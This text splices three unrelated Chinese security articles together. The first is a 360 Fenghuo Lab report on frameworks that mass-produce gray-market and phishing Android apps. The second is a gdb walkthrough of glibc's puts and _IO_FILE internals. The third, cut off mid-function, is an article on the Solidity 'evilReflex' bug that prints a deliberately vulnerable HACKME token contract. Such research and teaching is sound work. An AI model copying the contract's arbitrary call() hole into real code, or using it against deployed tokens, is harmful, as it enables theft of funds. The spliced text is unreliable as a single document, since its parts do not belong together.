图1显示了2014-2018年全年黑灰产APP总量中框架开发黑灰产APP的占比情况，自2016年开始，框架开发黑灰产APP数量与占比开始激增，到2018年，全年黑灰产APP总量中22%均由框架开发。从框架开发黑灰产APP占比变化来看，黑灰产APP整体呈现框架化趋势，APP生成框架在帮助众多用户实现开发梦的同时也给黑灰产提供了一种成本低廉的APP生产途径。
图1 2014-2018年框架黑灰产APP在全年APP总量中的占比
## APP生成框架介绍
### APP生成框架分类
APP生成框架不限于某一特定形式，可以是APP、SDK、打包、开源工具、支持库等，通过这些形式，开发者可以零编程或少编程快速生成APP且生成的APP代码结构高度一致、重复率极高，我们将这些不同的形式统称为框架。
不同形式的框架在使用方式与实现原理上有所不同，目前我们收集到的框架主要可以归为五大类：
图2 五类APP生成框架的典型特征
**一键打包**
一键打包的实质就是将对应的网址、接口或脚本套入给定的APP模板生成Web应用，根据使用上的差异可细分为直接打包与DIY打包，对比于直接打包，DIY打包能自定义界面与组件样式，在APP展示设计上更加灵活。打包平台通常会根据APP种类提供丰富的模板供用户选择，如电商模板、社区交友模板等。一键打包是典型的零编程APP生成框架，但通常要求开发者已具备相应网站、店铺或网页脚本，且在APP样式上相对固定。
**开源工具 &库**
开源工具或库（以下简称“工具库”）分别以工具APP形式安装至手机或作为SDK嵌入APP中，封装Android原生API，以更易于使用的方式为开发者提供各种APP开发功能接口。与一键打包相比，工具库框架在功能性与形式多样性上都更加强大，且成熟工具库通常易于找到很多源码库提供功能支持，但使用工具库框架需要开发者具备一定代码编写与阅读能力，整体使用难度略高于一键打包。
**插件化框架**
插件化框架是通过反射、Hook与动态加载机制，利用壳APP以插件形式加载真实APP并运行的框架形式。插件化框架开发同样需要开发者具备一定编码能力，利用插件化框架开发APP需要实现两部分：壳APP与真实APP，壳APP与真实APP没有固定对应关系，即壳APP可以加载任意真实APP，真实APP也可以由任意壳APP包装，这一特性被广泛用于APP批量开发。
**外包框架**
不同于其他“工具化”框架，外包框架是将开发需求提交给外包平台，由平台实现APP开发的框架形式。与传统外包不同，外包框架开发的APP代码结构高度一致、功能重复率极高、呈现典型框架化特点。我们收集的外包框架全部来自国外，且其中绝大多数仅承接特定种类APP开发。
**APP生成器**
除了以上4类框架，我们还发现了一种特殊框架——APP生成器。APP生成器一般来自各类贴吧、论坛或QQ群，是一键打包框架的一种特例，与常规一键打包不同的是APP生成器本身就是一个APP，在安装到手机后一般只能用于一键生成特定种类的APP，通常是特定灰黑产APP。
图3给出了由以上五类框架开发的APP的数量分布情况，工具库在框架化开发中最为常用，其次为插件化框架与一键打包，三者总占比高达92%；由于开发周期长与费用高，极少有开发者会选择外包框架。
图3 由五类框架开发的APP数量分布
### APP生成框架使用概况
APP生成框架由来已久，早在Android系统发布后不到两年，各种Android框架化开发工具便相继出现并快速传播，截至2019年初，框架生成样本总量已高达800万。
360烽火实验室最早捕获的框架APP出现于2011年，2011年框架APP总量仅1000+，在全年APP总量中占比仅0.5%。自2011年之后，框架APP数量逐年递增，特别是从2016年开始，每年全年APP总量中框架APP占比急速增大，根据最新数据统计结果，2018年框架APP占比已高达7.3%，如图4。
图4 2011-2018年框架APP数量及在全年APP总量中的占比
截至2019年3月，我们共收集了2万+种APP生成框架，包括40种一键打包框架、11种工具库框架、7种插件化框架、12种外包框架以及2万余种APP生成器，由这些框架开发的APP数量存在巨大差异。我们统计了目前使用频率最高的十种APP生成框架及其生成的APP总量，如图5，目前工具库框架E4A是被使用最多的APP生成框架，其次是插件化框架DKModel与DroidPlugin，三者数量均超过80万。
图5 APP总量TOP 10框架及其APP数量
### 框架APP类型分布
我们对两万余种框架生成的APP进行了分类，如图6，工具类在框架APP中占比高达69%，网商、游戏与门户网是仅次于工具类的APP类别。在工具类中，约71%为黑客工具与即时通讯APP，影音播放器、金融APP（投资理财、借贷）等也占据相当数量。
图6 框架开发APP类型分布
从全量角度看，占比最高的APP类别为黑客工具、即时通讯与网商，三者在全量框架APP中的占比分别为38%、16%与15%。黑客工具主要包括代刷代挂、免流、游戏外挂、钓鱼、勒索等主流黑灰产工具；即时通讯则主要为微信与QQ多开；网商包括各类电商APP，其中以非知名电商APP为主。
### 框架平台运营模式与安全隐患
**运营模式转型**
在我们收集到的框架中，部分一键打包与工具库框架由相应官方平台提供打包服务，框架平台多数会同时提供免费与付费服务，付费服务比免费服务支持更多功能，付费越多，能实现的功能越强大。如图7，一款名为“快打包”的网站提供的三级打包服务，不同等级的功能差异体现在动态效果、支持插件甚至用户隐私权限等多个方面，尽管如此，低级甚至免费服务所提供的功能足以用于生成基础APP，对于追求低成本或对APP质量要求低的开发者而言，使用低价或免费版来进行AP
P开发已足够。
图7 快打包三级打包服务
在这种模式下，单一售卖APP打包服务的经营模式盈利有限，再加上市场竞争压力大，传统框架平台难以带来理想收入。从2018开始，陆续有APP框架平台停止服务，而部分平台逐渐开始经营模式转型，除了售卖APP打包服务外，开始融合多种传统增值服务，如软件著作权代办、应用包上架等，同时开放代理通道，将框架作为产品销售，因此出现了明明是一套代码，但框架名称与官方平台地址却不一样的情况；此外，部分框架平台引入了广告联盟，帮助开发者利用广告变现，以此吸引更多开发者。
**安全隐患**
框架平台在提供APP生成服务的同时带来了多种安全隐患，首先，框架平台缺乏APP图标、名称等审核机制，存在盗用已有APP名称或图标的问题，从而造成对正版APP的侵权；其次，多数框架在生成APP时，即使该APP没有进行用户隐私获取、收发短信等操作，框架会将这些风险接口直接暴露在所生的APP中，一旦接口被恶意程序利用可能会带来用户隐私信息泄露等风险；此外，框架平台经营模式的转型又带来了新的隐患，一方面框架平台在售卖软件著作权代办与应用包上架服务时，没有明确必要的APP安全规范，任何APP只要通过办证机构或应用市场的安全检测都可以成功办证或上架，而部分框架APP本身就有绕过安全检测的特性，因此存在恶意APP拿到软件著作权或成功上架的风险，图8为一款名为“变色龙”的打包平台提供的软件著作权代办服务；另一方面，如果框架或框架APP出现安全问题，框架代码转卖也会给责任归属判断带来一定干扰。
图8 变色龙平台软件著作权代办服务
## APP生成框架生态恶化
APP生成框架的初衷是帮助缺乏一定开发能力或成本的用户完成APP开发，但随着APP生成技术的普及与黑灰产开发、推广需求量的增大，APP生成框架逐渐被黑灰产广泛用于黑灰产APP生产。目前APP生成框架生态问题重重：其一，部分框架被黑灰产开发者滥用，由这些框架开发的劣质、黑灰产APP数量远多于优质、安全APP；其二，部分框架本身就“动机不纯”，专为批量生产黑灰产APP而生，这些框架包括数万计黑灰产APP生成器；此外，还出现了APP框架风险代码注入的现象，由此生成的APP安全性令人担忧。
### 正规框架被滥用
我们对除APP生成器外的四种框架的黑灰比进行了统计，如图9，四种框架下APP黑灰分布呈现两极化特点：插件化与工具库框架APP中黑灰产APP占比远高于一键打包与外包框架，黑灰比最高的插件化框架黑灰比高达77.0%，而外包框架黑灰比仅0.5%。在四种APP生成框架中，正规插件化框架与工具库框架被滥用的现象最明显。
图9 四类框架下APP黑灰比
相对于插件化与工具库框架，一键打包框架主要针对HTML5与WebAPP，APP生产前通常需要具备现成的网站或脚本等先决条件，而外包框架又成本过高，黑灰产开发者显然更倾向于选择功能更多样化、成本更低且能更快捷进行批量产出的框架。
在插件化框架“壳-真实APP”的模式下，黑灰产开发者不仅能给任意APP加任意自定义的壳快速形成新的APP，且安全壳应用能够隐藏动态加载的真实APP的恶意静态特征，增加黑灰产APP绕过安全厂商或应用市场安全检测的可能性；而对于工具库框架，除了拥有类似Andorid原生开发的强大功能，以IAPP、E4A、按键精灵等为首的部分工具库框架能以APP的形式安装到手机，开发者无需环境搭建，以“堆积木”的极简方式就能完成APP开发，对于成熟工具库框架，从相关技术社群能找到十分全面的功能源码库，包括相当多外挂破解、色情视频与隐私窃取等源码。
工具库框架与插件化框架在黑灰产批量打包上的优势使其成为框架滥用重灾区，在这两类框架中又分别以IAPP、VirtualAPP最为典型。截止到2019年3月，由IAPP与VirtualAPP开发的APP中黑灰比分别高达90%与81%，使用这两个框架开发的黑灰产APP数量已远远超过安全APP数量，其中IAPP框架下主要以代刷、外挂等黑客工具为主，VirtualAPP框架下则以盗版多开APP为主。
对于IAPP框架，黑灰产源码资源极其“丰富”，以某IAPP技术社区为例，该网站提供了大量IAPP功能源码，其中绝大多数都是黑客工具源码。
图10 某IAPP技术社区源码区
### 黑灰产APP生成器
与正规框架被滥用不同，黑灰产APP生成器本身就是为生产黑灰产APP而生。截止到2019年3月，我们共捕获了2万+个黑灰产APP生成器，这些APP生成器没有官网，一般通过QQ群、论坛或贴吧进行传播。特定APP生成器仅适用于生成特定种类黑灰产APP，在我们捕获到的APP生成器中以锁机和钓鱼APP生成器为主，如图11。
图11 黑灰产APP生成器类别分布
以一款名为“钓鱼生成器”的APP生成器为例，如图12，该生成器可以生成针对支付宝账号与QQ账号的4种不同形式的钓鱼APP，且可指定短信接收账户信息的手机号码。生成的盗号软件以仿支付宝、QQ登录页面诱导用户输入支付宝、QQ账号密码，点击确认后，用户输入的账号与密码将短信发送至预留手机号。
图12 一款钓鱼APP生成器
除手机号外，部分黑灰产APP生成器支持自定义APP名称、图标、启动界面等，配合自动点击脚本能迅速生产出多个具有不同名称或图标等基础表现的黑灰产APP，批量产出大基数黑灰产APP能让黑灰产以极低成本增加市场占有、扩大传播推广，从而吸引更多用户中招。
### 风险代码注入
APP生成框架对开发者而言相当于“黑盒”，若框架包含风险代码注入行为，由该框架开发的所有APP都会存在对应风险行为，最终受害者都是用户。我们在对APP生成框架进行深入研究时发现，存在打包平台与部分APP生成器利用APP模板向生成的APP注入风险代码的现象。框架风险代码注入会导致风险APP数量与感染用户迅速增加，给用户与设备安全带来严重影响。
**打包平台注入用户行为收集代码**
为帮助开发者及时了解APP的推广状态，APP打包平台通常会在开发者个人中心提供用户统计数据。我们在对APP生成框架的持续监测过程中发现了一款名为“应用精灵”的APP打包平台存在定期收集额外用户数据的行为。
图13 “应用精灵”开发者可见数据统计页面
“应用精灵”打包平台的主要功能是将网站一键打包成APP，从该平台提供的开发者可见的数据统计页面只能看到APP名称与用户量统计数据，如图13，而实际上，除了用户设备标识外，该平台还在打包APP所使用的模板中加入了用户APP使用行为收集代码，由该平台打包的所有APP都会定期上传用户对该APP的使用时间、时长以及行为数据。
图14 “应用精灵”后台统计APP使用情况
截止到2019年4月，我们共捕获约两万由该平台生成的APP，这些APP覆盖多种应用分类，累计传播量高达百万。在这种情况下，该平台能持续监测到所有安装了这些APP的用户的行为数据。
**APP生成器注入广告**
除打包平台外，我们在部分APP生成器中也发现了通过模板进行风险广告嵌入的行为。以一个来自QQ群“APP生成器群”的APP生成器为例，这个生成器提供了5种APP模板，每种模板都被嵌入了风险广告代码。
图15 APP生成器支持的模板
由该生成器生成的所有APP开启后主屏内都包含无法消除的横幅广告，如图16，用户无意碰到主屏下部区域后APP会自动下载所列举的全部APP。
图16生成的APP带无法消除的广告
## APP生成框架下的黑灰产APP
### 框架黑灰产APP类别概况
截止2019年3月，在我们捕获到的800万框架APP中，已知黑灰产APP累计三百万+，框架黑灰产APP占框架APP总量40%。通过对2018年框架黑灰产深入跟进后发现，框架开发的黑灰产APP高度集中在盗版多开、黑客工具与色情视频三类，这三类APP数量和在2018年全年框架黑灰产APP总量中占比高达91%，如图17；剩余9%包括博彩、违规借贷、网购欺诈、风险游戏等。
图17 2018年框架黑灰产APP类别分布
### 框架黑灰产APP重灾区
框架黑灰产APP以盗版多开与黑客工具为典型，这两类占比分别高达47%与34%，其中盗版多开主要针对微信；黑客工具则以刷量和外挂APP为主。
**盗版多开**
盗版多开是随插件化框架兴起而泛滥的一类风险APP，盗版多开可能会伪造与官方登录界面完全一致的钓鱼界面，诱导用户输入账户信息，造成用户隐私信息泄露。我们捕获到的框架盗版多开以微信多开为主，在全量框架盗版多开中，微信多开占比高达55%，此外，游戏、交友、电商与QQ多开也占据了相当比例。
图18 盗版多开APP类别分布
**框架黑客工具**
刷量APP是框架黑客工具中的主要类型之一，其通常伴随热门流量的出现而产生，如用户基数庞大的QQ、热门手游王者荣耀等，刷量APP主打功能是替用户刷各种指标量，如QQ会员、空间访问量、游戏点券等，随着近几年热门流量的变化，框架刷量APP种类也在不断变化。
我们分析了2016至2018三年间框架刷量APP的变化情况：2016年框架刷量APP中约90%都与QQ业务有关，其中以QQ刷钻、QQ刷赞为主；2017年单一QQ业务框架刷量APP占比下降至60%，同时短视频/直播框架刷量APP开始批量出现，其中主要以刷播放量和粉丝量为主，此外，框架刷量APP逐渐向平台化、综合化转型，支持多种刷量业务的综合型框架刷量APP开始大量出现，在全年框架刷量APP中占25%；到2018年，单一QQ业务框架刷量APP进一步综合化转型，综合型框架刷量APP占比已高达70%，短视频/直播框架刷量APP数量有所上升。
图19给出了2016-2018年框架刷量APP的主要类别分布，从近三年的总体趋势来看，针对单一业务的框架刷量APP正逐渐向支持多业务的综合型框架刷量平台转变。
图19 2016-2018年框架刷量APP主要类别分布
综合型框架刷量平台整合了所有主流类别刷量功能，包括QQ业务、短视频/直播、游戏刷量等。图20是一款名为“飞达科技代刷网”的综合型框架刷量APP，其按刷量目标分成了不同专区，各种刷量业务“应有尽有”。
图20 一款综合型框架刷量APP
在刷量APP综合化转型的背景下，APP生成框架为刷量APP开发者提供了更便捷的业务扩展方式——“一键”批量化。在我们收集到的综合型框架刷量APP中，绝大多数都呈现出框架批量生成的特点，这些工具可能有不同名称、包名或图标，但却拥有相互关联的服务器地址或开发者。表1是一批由E4A批量生成的综合型刷量APP，总量共计5万+。刷量APP开发者“机智”利用APP生成框架的便捷、零成本特性，以
“一变多”来达到批量推广、扩大市场占有、灵活转移业务的目的。
**软件名**
|
**包名**
|
**交叉域名**
---|---|---
炫酷代刷网
|
com.ihututu.dddsss
|
app.ihututu.cn
有妖气代刷网
|
com.ihututu.dddsss
K家代刷网
|
com.ihututu.dddsss
帝星代刷网
|
com.ihututu.dddsss
小乐代刷
|
com.ihututu.dddsss
小天业务
|
com.ihututu.dddsss
流氓代刷网
|
com.ihututu.dddsss
表1 E4A批量生成的同款刷量APP
除刷量APP外，框架黑客工具中的另一主要类别是外挂APP，与框架刷量APP一样，框架外挂APP近三年的类别分布也发生了一些变化，如图21，游戏外挂与QQ业务外挂始终是框架外挂APP中的两大主要类别，且占比逐年缓慢递增；流量外挂是近三年数量波动最大的一种框架外挂，从2016年至2018年，流量外挂占比从30%降至4%，已逐渐退出主流外挂行列；此外，短视频/直播外挂与短信、电话轰炸机占比有所增加。
图21 2016-2018年框架外挂APP主要类别分布
在框架黑客工具中，无论是框架刷量还是框架外挂，都存在严重“名不副实”的现象，大量APP打着刷量或外挂旗号诱导用户下载安装后实施锁屏勒索、隐私窃取、私自扣费等恶意行为。恶意APP开发者擅于利用低成本APP生成框架并结合热点黑客工具来扩大恶意APP的传播与感染，以此牟取更大利益。
表2截取自我们近期捕获到的一批框架黑客工具APP，这批APP由IAPP框架批量生成，软件名围绕刷量与博彩外挂展开，然而实际运行后这些APP不具备相应功能，且会弹出QQ登录页面诱导用户输入QQ账号与密码，并通过短信上传至指定手机号，造成用户隐私信息泄露。
**软件名**
|
**包名**
---|---
刷QQ会员
|
s.qq.qqmm
QQ电脑管家加速积分破解
|
s.qq.qqmjj
QQ麒麟臂红包猎手
|
s.qq.qqmmm
破解六合彩网站密码（登录QQ即可进入）
|
s.qq.qqmmm
刷Q币
|
s.qq.qqmm
刷超级（快速版）
|
s.qq.qqmm
表2 仿冒黑客工具的钓鱼APP
## 总结
APP生成框架带来了一种便捷的APP开发方式，各类打包平台、工具等也确实帮助很多开发者以低时间、资金与人力成本实现了APP开发，但黑灰产利用APP生成框架大肆批量化其工具的现象却越来越严重，给用户及其设备安全带来了严重隐患。
APP生成框架生态良性发展依赖于APP框架平台、应用市场与安全厂商等多方面的支持。
对于APP框架平台，明确APP安全规范、加强平台生成APP安全审核、从源头阻止风险APP进入市场势在必行，对于业务模式转型引入的增殖服务，如软件著作权代办、应用包上架等，更应严格执行APP安全性评估，杜绝风险APP取得相关权证或上架，而不应在不明确安全规范的情况下高价就能包办。
对于应用市场和安全厂商，应结合框架APP的特点采用专门针对框架APP的应用审核策略，以部分框架APP缺少静态行为特征为出发点，加强动静结合的APP检测机制。360烽火实验室基于动静结合、变化规律以及特征关联构建了针对框架APP的检测系统，最大可能保障用户及其设备安全。
### 360烽火实验室
360烽火实验室，致力于Android病毒分析、移动黑产研究、移动威胁预警以及Android漏洞挖掘等移动安全领域及Android安全生态的深度研究。作为全球顶级移动安全生态研究实验室，360烽火实验室在全球范围内首发了多篇具备国际影响力的Android木马分析报告和Android木马黑色产业链研究报告。实验室在为360手机卫士、360手机急救箱、360手机助手等提供核心安全数据和顽固木马清除解决方案的同时，也为上百家国内外厂商、应用商店等合作伙伴提供了移动应用安全检测服务，全方位守护移动安全。 | 社区文章 |
# 从puts函数执行角度看_IO_FILE的使用
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
演示调试代码
#include<stdio.h>
int main(){
puts("beef");
puts("dead");
return 0
}
几个重要的结构体
struct _IO_FILE {
int _flags;
char *_IO_read_ptr; /读取时 当前指针
char *_IO_read_end; /结束
char *_IO_read_base;
char *_IO_write_base;
char *_IO_write_ptr;
char *_IO_write_end;
char *_IO_buf_base;
char *_IO_buf_end;
char *_IO_save_base;
char *_IO_backup_base;
char *_IO_save_end;
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset;
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
__off64_t _offset;
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
size_t __pad5;
int _mode;
char _unused2[20];
} *
`_IO_file`处理文件时使用的一个核心结构体，同时linux预先创建了 `_fileno`为0，1，2用来表示stdin，stdout
，stderr。而puts之类输出函数通常使用stdout。
本文主要在结合gdb与对应源码的基础上重新讲述程序首次运行时对应结构体的初始化以及该结构体在何时，如何发挥作用
在进入puts函数之前，stdout内容如下
简单解释一下对应的字段含义
**_flag** 字段保存了魔术头和一些标志位，实际上该字段表示，在利用该时通常需要修改_flag 绕过一些检测
_flag=0xfbad2084--> _IO_IS_FILEBUF|_IO_LINKED|_IO_NO_READS
0xFBAD 为magic head 0x2084对应为标志位。对应一些标志的定义如下
#define _IO_MAGIC 0xFBAD0000 /* Magic number */
#define _OLD_STDIO_MAGIC 0xFABC0000 /* Emulate old stdio. */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 1 /* User owns buffer; don't delete it on close. */
#define _IO_UNBUFFERED 2
#define _IO_NO_READS 4 /* Reading not allowed */
#define _IO_NO_WRITES 8 /* Writing not allowd */
#define _IO_EOF_SEEN 0x10
#define _IO_ERR_SEEN 0x20
#define _IO_DELETE_DONT_CLOSE 0x40 /* Don't call close(_fileno) on cleanup. */
#define _IO_LINKED 0x80 /* Set if linked (using _chain) to streambuf::_list_all.*/
#define _IO_IN_BACKUP 0x100
#define _IO_LINE_BUF 0x200
#define _IO_TIED_PUT_GET 0x400 /* Set if put and get pointer logicly tied. */
#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
#define _IO_BAD_SEEN 0x4000
#define _IO_USER_LOCK 0x8000
经过延时绑定的跳转进入到puts函数主体
针对puts，进行调用了如图的函数，处理传入puts的字符串的长度问题
单步调试 发现第一个函数调用 `_IO_file_xsputn`
在源代码中对应的函数为 `_IO_new_file_xsputn`
在调试时出现函数名不同的原因是因为下面这个宏
# define _IO_new_file_xsputn _IO_file_xsputn
如下
count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */
if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING)
此时`count`为0，且无法满足对标志位的判定
if (to_do + must_flush > 0)
{
_IO_size_t block_size, do_write;
/* Next flush the (full) buffer. */
if (_IO_OVERFLOW (f, EOF) == EOF)
`_IO_OVERFLOW`
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
对应到运行时的函数跳转为
即 `_IO_new_file_overflow` ，
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == 0)
{
/* Allocate a buffer if needed. */
if (f->_IO_write_base == 0)
{
INTUSE(_IO_doallocbuf) (f);
_IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
}
此时 调用`_IO_doallocbuf` 这个函数进行了对缓冲区的申请，以及填充对应字段。
实际调用 `_IO_file_doallocate`函数
在`glibc-2.3.1/libio/filedoalloc.c`
进入到该函数,进行对file_no的检查，应该是防止错误出现
if (fp->_fileno >= 0 && __builtin_expect (_IO_SYSSTAT (fp, &st), 0) >= 0)
这段代码实际执行 `_IO_file_stat`，对应调用系统调用syscall 5 获取对应文件信息 储存在stat中，而st刚好是stat64类型的数据
ps：
关于stat的系统调用，在下面的调试过程中可以体现出作用
示例：
int main(){
struct stat m_stat;
► stat("./a.txt",&m_stat);
printf("%ld\n",m_stat.st_size);
return 0;
10 }
调用初始化之前 对应结构体
调用stat后
将m_stat 填充
具体字段含义与本文关联性不大，辅助理解用
psend：
通过stat获取到stdout的文件信息
if (fp->_fileno >= 0 && __builtin_expect (_IO_SYSSTAT (fp, &st), 0) >= 0)
{
if (S_ISCHR (st.st_mode))
{
/* Possibly a tty. */
if (
#ifdef DEV_TTY_P
DEV_TTY_P (&st) ||
#endif
isatty (fp->_fileno))
fp->_flags |= _IO_LINE_BUF;
}
#if _IO_HAVE_ST_BLKSIZE
if (st.st_blksize > 0)
size = st.st_blksize;
#endif
}
st_mode = 0x2190
`(S_ISCHR (st.st_mode))`j宏定义展开为
#define S_ISCHR(mode) __S_ISTYPE((mode), __S_IFCHR)
#define __S_IFCHR 0020000 /* 字符设备 */
在通过file_no的检查后 设置stdout 的_flag
fp->_flags |= _IO_LINE_BUF;
#define _IO_LINE_BUF 0x200
执行后_flag改变
然后根据获取的文件信息`st` 申请buf的空间 通过调用malloc实现
size=0x400从 `size = st.st_blksize;`中取出 （合理)
# define ALLOC_BUF(_B, _S, _R) \
do { \
(_B) = (char*)malloc(_S); \
if ((_B) == NULL) \
return (_R); \
} while (0)
最后在_IO_setb中实现对buf_base与buf_end的填充 参数为malloc申请的chunk初始地址与结束地址
前
：
后
：
合理）
随后返回到 `_IO_file_overflow` 进行剩余指针的填充
if (f->_IO_read_ptr == f->_IO_buf_end)
f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;
f->_IO_write_ptr = f->_IO_read_ptr;
f->_IO_write_base = f->_IO_write_ptr;
f->_IO_write_end = f->_IO_buf_end;
f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;
f->_flags |= _IO_CURRENTLY_PUTTING;
if (f->_mode <= 0 && f->_flags & (_IO_LINE_BUF+_IO_UNBUFFERED))
f->_IO_write_end = f->_IO_write_ptr;
#define _IO_CURRENTLY_PUTTING 0x800
结果如下
标志位再变
if (ch == EOF)
return _IO_new_do_write(f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
if (_IO_do_flush (f) == EOF)
return EOF;
*f->_IO_write_ptr++ = ch;
if ((f->_flags & _IO_UNBUFFERED)
|| ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
if (_IO_new_do_write(f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base) == EOF)
return EOF;
return (unsigned char) ch;
接下来 进入 `_IO_new_do_write`，
_IO_new_do_write (fp, data, to_do)
_IO_FILE *fp;
const char *data;
_IO_size_t to_do;
{
return (to_do == 0
|| (_IO_size_t) new_do_write (fp, data, to_do) == to_do) ? 0 : EOF;
}
由于满足to_do == 0 返回到 `_IO_file_xsputn`中，
继续运行到调用该函数，参数为stdout 以及传入字符 字符长度 buf区size
在该函数中as通过多次调用`_IO_file_overflow` 将字符写入到缓冲区中，经过第一次的执行
write_ptr + 1 指向输入的末尾 ，
填充最后的结果
完成后返回到puts函数主体 , puts调用 __overflow , 之后调用_ _IO_file_overflow , 调用 _IO_do_write
,
_IO_new_do_write (fp, data, to_do)
_IO_FILE *fp;
const char *data;
_IO_size_t to_do;
{
return (to_do == 0
|| (_IO_size_t) new_do_write (fp, data, to_do) == to_do) ? 0 : EOF;
}
这次的调用进入到 new_do_write中 ，
实际调用到write的syscall，输出,
write系统调用后，在_IO_file_write中将 _IO_write_ptr 复位.
在这一过程中，write并没有使用file结构体
验证代码如下：
int main(){
write(1,"asasd",3);
}
##### 调用之前
调用之后
前后没有变化，说明write并没有使用该结构体，直接输出。
对puts函数整体的分析到此为止 | 社区文章 |
**作者：Al1ex@七芒星实验室
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！
投稿邮箱：[email protected] **
#### 文章前言
在这篇文章中，我们将对曾经出现过的一种叫做evilReflex的安全漏洞进行分析研究，攻击者可以通过该漏洞将存在evilReflex漏洞的合约中的任意数量的token转移到任意地址。
#### 漏洞分析
漏洞函数approveAndCallcode()代码如下所示：
approveAndCallcode函数的用途是在完成approve操作时发出相关的调用通知，而在上述代码的L136处_spender.call(_extraData)中的_extraData为用户可控参数，在solidity语言我们可以通过call方法来实现对某个合约或者本地合约的某个方法进行调用，调用的方式大致如下：
<address>.call(方法选择器, arg1, arg2, …)
<address>.call(bytes)
在使用call调用时我们可以通过传递参数的方式，将方法选择器、参数进行传递，也可以直接传入一个字节数组，在这里我们可以将要调用的合约方法以及相关参数转换为bytecode之后作为_extraData参数传入，之后通过_spender.call(_extraData)实现对合约中的任意方法的调用，而此时的_spender也是可控的，所以也可以在存在漏洞的合约中调用任意合约的任意方法并为其提供相关的方法参数。
#### 漏洞演示
下面我们来做一个漏洞演示，模拟如何通过evilReflex漏洞窃取合约自身的token到任意地址，下面是存在漏洞的合约代码：
pragma solidity ^0.4.26;
contract Token {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
//Default assumes totalSupply can't be over max (2^256 - 1).
//If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap.
//Replace the if with this one instead.
require(balances[_to] + _value > balances[_to]);
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
//same as above. Replace this line with the following if you want to protect against wrapping uints.
require(balances[_to] + _value > balances[_to]);
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
}
contract HACKME is StandardToken {
function () {
//if ether is sent to this address, send it back.
revert();
}
string public name = "HACKME"; //fancy name: eg Simon Bucks
uint8 public decimals = 18; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether.
string public symbol = "HACKME"; //An identifier: eg SBX
string public version = 'v0.1'; //stb 0.1 standard. Just an arbitrary versioning scheme.
address public founder; // The address of the founder
function HACKME() {
founder = msg.sender;
totalSupply = 20180000 * 10 ** uint256(decimals);
balances[founder] = totalSupply / 2;
balances[this] = totalSupply / 2;
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { revert(); }
return true;
}
/* Approves and then calls the contract code*/
function approveAndCallcode(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
